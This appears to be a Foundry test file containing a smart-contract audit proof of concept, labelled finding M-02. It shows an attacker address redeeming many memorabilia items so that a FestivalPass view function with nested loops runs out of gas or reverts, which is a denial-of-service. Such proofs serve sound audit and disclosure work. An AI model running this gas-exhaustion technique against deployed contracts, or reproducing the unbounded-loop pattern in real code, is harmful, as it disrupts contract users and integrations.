pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract POC_AllFindings is Test {
FestivalPass public festival;
BeatToken public beat;
address public owner;
address public organizer;
address public attacker;
address public user1;
address public user2;
uint256 constant GENERAL_PRICE = 0.05 ether;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
attacker = makeAddr("attacker");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
beat = new BeatToken();
festival = new FestivalPass(address(beat), organizer);
beat.setFestivalContract(address(festival));
vm.startPrank(organizer);
festival.configurePass(1, GENERAL_PRICE, 5000);
festival.configurePass(2, VIP_PRICE, 1000);
festival.configurePass(3, BACKSTAGE_PRICE, 100);
vm.stopPrank();
vm.deal(attacker, 100 ether);
vm.deal(user1, 100 ether);
vm.deal(user2, 100 ether);
}
function test_POC_M02_UnboundedGas() public {
vm.startPrank(organizer);
for (uint256 i = 0; i < 20; i++) {
festival.createMemorabiliaCollection(
string(abi.encodePacked("Collection", i)),
string(abi.encodePacked("ipfs://col", i)),
10e18,
10,
true
);
}
vm.stopPrank();
vm.prank(address(festival));
beat.mint(attacker, 2000e18);
vm.startPrank(attacker);
for (uint256 i = 100; i < 120; i++) {
festival.redeemMemorabilia(i);
}
vm.stopPrank();
uint256 gasLeft = gasleft();
try festival.getUserMemorabiliaDetailed(attacker) returns (
uint256[] memory,
uint256[] memory,
uint256[] memory
) {
uint256 gasUsed = gasLeft - gasleft();
console.log("=== M-02: UNBOUNDED GAS EXPLOIT ===");
console.log("getUserMemorabiliaDetailed used", gasUsed, "gas for 20 items across 20 collections");
console.log("Gas per item:", gasUsed / 20);
console.log("VULNERABILITY: Unbounded nested loops can DoS external integrations");
} catch {
console.log("=== M-02: UNBOUNDED GAS EXPLOIT ===");
console.log("getUserMemorabiliaDetailed REVERTED - DoS confirmed");
console.log("VULNERABILITY: Unbounded nested loops DoS external callers");
}
}